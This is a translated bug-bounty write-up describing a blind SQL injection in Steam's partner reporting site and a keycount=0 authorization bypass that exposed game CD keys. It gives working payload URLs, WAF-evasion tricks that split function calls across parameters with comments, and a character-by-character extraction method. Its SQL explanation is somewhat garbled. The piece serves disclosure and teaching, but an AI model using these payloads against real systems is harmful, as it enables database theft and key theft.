The Short Story On How The Steam Has Been Compromised!
Hello guys! Today, we are going to share with you what Valve paid the highest prices in the history of their reward program for vulnerabilities.
For those who interested, welcome on board!
1. SQL Injection
Service partner.steampowered.com is designed to obtain financial information from Steam partners. On the sales reports page, a graph is drawn with buttons that change the display period of the statistics. Here they are in a green rectangle:
The request for loading statistics looks like this:
- Where “UA” is the country code.
- Well, it’s time for quotes!
- Let’s try this one “UA’ “:
The statistics did NOT return, which was to be expected.
- Now “UA“:
The statistics are back and it looks like an injection!
Why?
Suppose that the database instruction looks like this:
SELECT * FROM countries WHERE country_code = `UA`;
If you send UA ’, the database instruction will be:
SELECT * FROM countries WHERE country_code = `UA``;
Notice the extra quote? This means that the instruction is invalid.
Corresponding to the SQL syntax, the query below is completely valid (there are no extra quotes):
SELECT * FROM countries WHERE country_code = `UA```;
Notice we are dealing with an array of countryFilter []. I assumed that if in the request to duplicate the country filter [] parameter several times, then all the values that we send will be combined in the SQL query like this:
'value1', 'value2', 'value3'
Check and make sure:
In fact, we requested the statistics of three countries from the database:
`UA`, `,` ,`RU`
The syntax is correct – the statistics returned.
The bypass of the Web Application Firewall
Steam servers are hiding behind Akamai WAF. This disgrace inserts a stick in the wheels of good (and not very) hackers. However, I managed to overcome it by combining the values of the array into one query (what I explained above) and commenting. First, make sure the last one:
?countryFilter[]=UA`/*&countryFilter[]=*/,`RU
The request is valid, it means there are comments in our assortment.
WAF blocks the request when it encounters a function. Did you know that DB_NAME / ** / () is a valid function call? The firewall also knows and blocks. But, thanks to this feature, we can divide the function call into two parameters!
?countryFilter[]=UA’,DB_NAME/*&countryFilter[]=*/(),’RU
We sent a request from DB_NAME / * anyway * / () – WAF did not understand anything, but the database successfully processed such an instruction.
Retrieving values from a database
So, an example of getting the length of a DB_NAME () value:
https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),'
In SQL:
SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END
Well, humanly:
If the length of DB_NAME () is "1", then the result is "UA", otherwise the result is "qwerty".
This means that if the comparison is true, then in response we will receive statistics for the country “UA”. It is not difficult to guess that going through values from 1 to infinity, we will find the right one sooner or later.
In the same way, you can iterate through text values:
If the first character DB_NAME () is “a”, then “UA”, otherwise “qwerty”.
Usually, the “substring” function is used to get the Nth character, but WAF persistently blocked it. Here the combination came to the rescue:
right(left(system_user,N),1)
How does it work? We get N characters of system_user value from which we take the last one.
Imagine that system_user = “steam”. This is how the third character will look like:
left(system_user,3) = ste right(“ste”,1) = e
Using a simple script, this process was automated and I got the hostname, system_user, version and the names of all the databases. This information is more than enough (the latter is even superfluous, but it was interesting) to demonstrate criticality.
After 5 hours, the vulnerability was corrected, but the status of triaged (adopted) was put to her after 8 hours and, damn it, for me it was a very difficult 3 hours during which my brain managed to survive the stages from denial to acceptance.
Clarification of paranoia
Since the vulnerability was not designated as accepted, I pushed that the turn to my report had not yet reached. But the bug was fixed, which means it could have been reported before me.
2. Getting all the keys to any game
In the Steam partner interface, there is the functionality of generating keys to the games.
Download the generated set of keys, you can use the request:
https://partner.steamgames.com/partnercdkeys/assignkeys/&sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download
In this query, the keyid parameter is the id of the key set, and keycount is the number of keys that must be obtained from the given set.
Of course, my hands instantly reached out to drive in different keyid, but in response, I received an error: “Couldn`t generate CD keys: No assignment for the user.” It turned out not so simple, and Steam checked whether the requested set of keys belonged to me. How did I get around this check?
Attention:
keycount=0
Generated a file with 36,000 keys from the game Portal 2. Wow.
Only one set turned out that number of keys. And the total sets at the moment more than 430,000. Thus, going through the keyid values, I was a potential attacker who could download all the keys ever generated by the Steam game developers.
Conclusion
- Costly WAF systems from top companies are not a guarantee for the security of your web applications.
- If you are a bug hunter, then try to penetrate as deep as possible. The fewer users have access to the interface, the more likely it is to find a vulnerability in this interface.
- Developers and business owners, there are no absolutely safe applications! But you hold on. Have a good mood!